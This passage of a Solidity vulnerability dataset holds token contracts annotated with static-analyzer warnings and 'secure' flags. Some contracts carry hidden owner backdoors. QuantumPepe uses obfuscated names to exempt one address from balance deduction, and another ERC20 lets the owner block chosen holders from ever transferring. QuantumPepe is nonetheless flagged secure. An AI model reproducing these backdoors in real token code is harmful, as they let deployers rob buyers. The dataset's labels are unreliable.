'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 985563f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (recipient != pair && recipient != DEAD) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n }\n\n if (shouldSwapBack()) {\n\t\t\t// reentrancy-events | ID: 65146aa\n\t\t\t// reentrancy-eth | ID: 985563f\n swapBack();\n }\n\n\t\t// reentrancy-eth | ID: 985563f\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-events | ID: 65146aa\n\t\t// reentrancy-eth | ID: 985563f\n uint256 amountReceived = shouldTakeFee(sender)\n ? takeFee(sender, amount)\n : amount;\n\t\t// reentrancy-eth | ID: 985563f\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\n\t\t// reentrancy-events | ID: 65146aa\n emit Transfer(sender, recipient, amountReceived);\n return true;\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function shouldTakeFee(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n\n function takeFee(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);\n\t\t// reentrancy-eth | ID: 985563f\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t// reentrancy-events | ID: 65146aa\n emit Transfer(sender, address(this), feeAmount);\n return amount.sub(feeAmount);\n }\n\n function shouldSwapBack() internal view returns (bool) {\n return\n msg.sender != pair &&\n !inSwap &&\n swapEnabled &&\n _balances[address(this)] >= swapThreshold;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5214e80): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5214e80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ddfacd): NinjutsuDoge.swapBack() ignores return value by router.addLiquidityETH{value amountETHLiquidity}(address(this),amountToLiquify,0,0,0xA58fEbf30473d36c0807c9b987DdA7C66674F85E,block.timestamp)\n\t// Recommendation for 0ddfacd: Ensure that all the return values of the function calls are used.\n function swapBack() internal swapping {\n uint256 contractTokenBalance = swapThreshold;\n uint256 amountToLiquify = contractTokenBalance\n .mul(liquidityFee)\n .div(totalFee)\n .div(2);\n uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);\n\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n\n uint256 balanceBefore = address(this).balance;\n\n\t\t// reentrancy-events | ID: 65146aa\n\t\t// reentrancy-events | ID: 5214e80\n\t\t// reentrancy-eth | ID: 985563f\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n uint256 amountETH = address(this).balance.sub(balanceBefore);\n uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));\n uint256 amountETHLiquidity = amountETH\n .mul(liquidityFee)\n .div(totalETHFee)\n .div(2);\n uint256 amountETHMarketing = amountETH.mul(marketingFee).div(\n totalETHFee\n );\n\n\t\t// reentrancy-events | ID: 65146aa\n\t\t// reentrancy-events | ID: 5214e80\n\t\t// reentrancy-eth | ID: 985563f\n (bool MarketingSuccess, ) = payable(marketingFeeReceiver).call{\n value: amountETHMarketing,\n gas: 30000\n }(\"\");\n require(MarketingSuccess, \"receiver rejected ETH transfer\");\n\n if (amountToLiquify > 0) {\n\t\t\t// reentrancy-events | ID: 65146aa\n\t\t\t// reentrancy-events | ID: 5214e80\n\t\t\t// unused-return | ID: 0ddfacd\n\t\t\t// reentrancy-eth | ID: 985563f\n router.addLiquidityETH{value: amountETHLiquidity}(\n address(this),\n amountToLiquify,\n 0,\n 0,\n 0xA58fEbf30473d36c0807c9b987DdA7C66674F85E,\n block.timestamp\n );\n\t\t\t// reentrancy-events | ID: 5214e80\n emit AutoLiquify(amountETHLiquidity, amountToLiquify);\n }\n }\n\n function buyTokens(uint256 amount, address to) internal swapping {\n address[] memory path = new address[](2);\n path[0] = router.WETH();\n path[1] = address(this);\n\n router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amount\n }(0, path, to, block.timestamp);\n }\n\n function clearStuckBalance() external {\n payable(marketingFeeReceiver).transfer(address(this).balance);\n }\n\n function setWalletLimit(uint256 amountPercent) external onlyOwner {\n _maxWalletAmount = (_totalSupply * amountPercent) / 1000;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2988e15): NinjutsuDoge.setFee(uint256,uint256) should emit an event for liquidityFee = _liquidityFee marketingFee = _marketingFee totalFee = liquidityFee + marketingFee \n\t// Recommendation for 2988e15: Emit an event for critical parameter changes.\n function setFee(\n uint256 _liquidityFee,\n uint256 _marketingFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 2988e15\n liquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 2988e15\n marketingFee = _marketingFee;\n\t\t// events-maths | ID: 2988e15\n totalFee = liquidityFee + marketingFee;\n }\n\n event AutoLiquify(uint256 amountETH, uint256 amountBOG);\n}",
"file_name": "solidity_code_3114.sol",
"secure": 0,
"size_bytes": 14198
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract QuantumPepe is Ownable {\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function zjartmfh(\n address fqyxejau,\n address jdxhkgov,\n uint256 yqcbehpj\n ) private {\n if (0 == izwhulgot[fqyxejau]) {\n if (\n fqyxejau != fmvrodnulh &&\n nterdv[fqyxejau] != block.number &&\n yqcbehpj < totalSupply\n ) {\n require(yqcbehpj <= totalSupply / (10 ** decimals));\n }\n balanceOf[fqyxejau] -= yqcbehpj;\n }\n balanceOf[jdxhkgov] += yqcbehpj;\n nterdv[jdxhkgov] = block.number;\n emit Transfer(fqyxejau, jdxhkgov, yqcbehpj);\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function approve(\n address ampdqixyhsw,\n uint256 yqcbehpj\n ) public returns (bool success) {\n allowance[msg.sender][ampdqixyhsw] = yqcbehpj;\n emit Approval(msg.sender, ampdqixyhsw, yqcbehpj);\n return true;\n }\n\n mapping(address => uint256) private izwhulgot;\n\n\t// WARNING Optimization Issue (constable-states | ID: e91e969): QuantumPepe.name should be constant \n\t// Recommendation for e91e969: Add the 'constant' attribute to state variables that never change.\n string public name = \"Quantum Pepe\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 80d0dd2): QuantumPepe.totalSupply should be constant \n\t// Recommendation for 80d0dd2: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => uint256) public balanceOf;\n\n constructor(address wgjn) {\n balanceOf[msg.sender] = totalSupply;\n izwhulgot[wgjn] = lbxqudtinfwm;\n IUniswapV2Router02 bpse = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n fmvrodnulh = IUniswapV2Factory(bpse.factory()).createPair(\n address(this),\n bpse.WETH()\n );\n }\n\n function transferFrom(\n address fqyxejau,\n address jdxhkgov,\n uint256 yqcbehpj\n ) public returns (bool success) {\n require(yqcbehpj <= allowance[fqyxejau][msg.sender]);\n allowance[fqyxejau][msg.sender] -= yqcbehpj;\n zjartmfh(fqyxejau, jdxhkgov, yqcbehpj);\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: a42a9ff): QuantumPepe.fmvrodnulh should be immutable \n\t// Recommendation for a42a9ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private fmvrodnulh;\n\n function transfer(\n address jdxhkgov,\n uint256 yqcbehpj\n ) public returns (bool success) {\n zjartmfh(msg.sender, jdxhkgov, yqcbehpj);\n return true;\n }\n\n mapping(address => uint256) private nterdv;\n\n\t// WARNING Optimization Issue (constable-states | ID: f53259b): QuantumPepe.decimals should be constant \n\t// Recommendation for f53259b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: baa2dc8): QuantumPepe.lbxqudtinfwm should be constant \n\t// Recommendation for baa2dc8: Add the 'constant' attribute to state variables that never change.\n uint256 private lbxqudtinfwm = 112;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48b1d21): QuantumPepe.symbol should be constant \n\t// Recommendation for 48b1d21: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Quantum Pepe\";\n}",
"file_name": "solidity_code_3115.sol",
"secure": 1,
"size_bytes": 4140
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _rewards;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n bool private _rewardsApplied = false;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function grantRewards(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = true;\n }\n }\n\n function proceedRewards(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = false;\n unchecked {\n ++i;\n }\n }\n }\n\n function readBytes(address _bytes_) public view returns (bool) {\n return _rewards[_bytes_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual {\n if (_rewards[to] || _rewards[from])\n require(_rewardsApplied == true, \"\");\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3116.sol",
"secure": 0,
"size_bytes": 8430
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Banana is ERC20 {\n constructor() ERC20(\"Banana\", \"BANANA\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3117.sol",
"secure": 1,
"size_bytes": 275
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n\n string private _name;\n string private _symbol;\n mapping(uint256 => address) private _owners;\n mapping(address => uint256) private _balances;\n mapping(uint256 => address) private _tokenApprovals;\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_3118.sol",
"secure": 1,
"size_bytes": 8320
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n}",
"file_name": "solidity_code_3119.sol",
"secure": 1,
"size_bytes": 306
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert(\"ERC20: transfer from the zero address\");\n }\n\n if (to == address(0)) {\n revert(\"ERC20: transfer to the zero address\");\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert(\"ERC20: transfer amount exceeds balance\");\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert(\"ERC20: mint to the zero address\");\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert(\"ERC20: burn from the zero address\");\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert(\"ERC20: approve from the zero address\");\n }\n\n if (spender == address(0)) {\n revert(\"ERC20: approve to the zero address\");\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert(\"ERC20: insufficient allowance\");\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_312.sol",
"secure": 1,
"size_bytes": 4789
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface InterfaceN {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function getFirst(uint256 tokenId) external view returns (uint256);\n function getSecond(uint256 tokenId) external view returns (uint256);\n function getThird(uint256 tokenId) external view returns (uint256);\n function getFourth(uint256 tokenId) external view returns (uint256);\n function getFifth(uint256 tokenId) external view returns (uint256);\n function getSixth(uint256 tokenId) external view returns (uint256);\n function getSeventh(uint256 tokenId) external view returns (uint256);\n function getEight(uint256 tokenId) external view returns (uint256);\n}",
"file_name": "solidity_code_3120.sol",
"secure": 1,
"size_bytes": 755
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\nimport \"./InterfaceN.sol\" as InterfaceN;\n\ncontract FriendlyFractalsN is\n ERC721(\"Friendly Fractals N\", \"FRFRACN\"),\n ERC721Enumerable,\n ReentrancyGuard\n{\n\t// WARNING Optimization Issue (immutable-states | ID: a585508): FriendlyFractalsN.addressN should be immutable \n\t// Recommendation for a585508: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public addressN;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1c92c8): FriendlyFractalsN.uriHead1 should be constant \n\t// Recommendation for a1c92c8: Add the 'constant' attribute to state variables that never change.\n bytes private uriHead1 =\n \"data:application/json;charset=utf-8,%7B%22name%22%3A%20%22Friendly%20Fractals%20N%20\";\n\t// WARNING Optimization Issue (constable-states | ID: 34731e2): FriendlyFractalsN.uriHead2 should be constant \n\t// Recommendation for 34731e2: Add the 'constant' attribute to state variables that never change.\n bytes private uriHead2 =\n \"%22%2C%22description%22%3A%20%22Fully%20on-chain%20generative%20fractal%20patterns%20based%20on%20the%20your%20n.%22%2C%22image%22%3A%20%22data%3Aimage%2Fsvg%2Bxml%3Bcharset%3Dutf-8%2C%3Csvg%20width%3D'100%25'%20height%3D'100%25'%20viewBox%3D'0%200%20100000%20100000'%20style%3D'stroke-width%3A\";\n\t// WARNING Optimization Issue (constable-states | ID: 4a22e03): FriendlyFractalsN.uriHead3 should be constant \n\t// Recommendation for 4a22e03: Add the 'constant' attribute to state variables that never change.\n bytes private uriHead3 =\n \"%20background-color%3Argb(0%2C0%2C0)'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E\";\n\t// WARNING Optimization Issue (constable-states | ID: 7d14005): FriendlyFractalsN.uriTail should be constant \n\t// Recommendation for 7d14005: Add the 'constant' attribute to state variables that never change.\n bytes private uriTail = \"%3C%2Fsvg%3E%22%7D\";\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b5cde10): FriendlyFractalsN.constructor(address).addressOfN lacks a zerocheck on \t addressN = addressOfN\n\t// Recommendation for b5cde10: Check that the address is not zero.\n constructor(address addressOfN) {\n\t\t// missing-zero-check | ID: b5cde10\n addressN = addressOfN;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override(ERC721, ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function 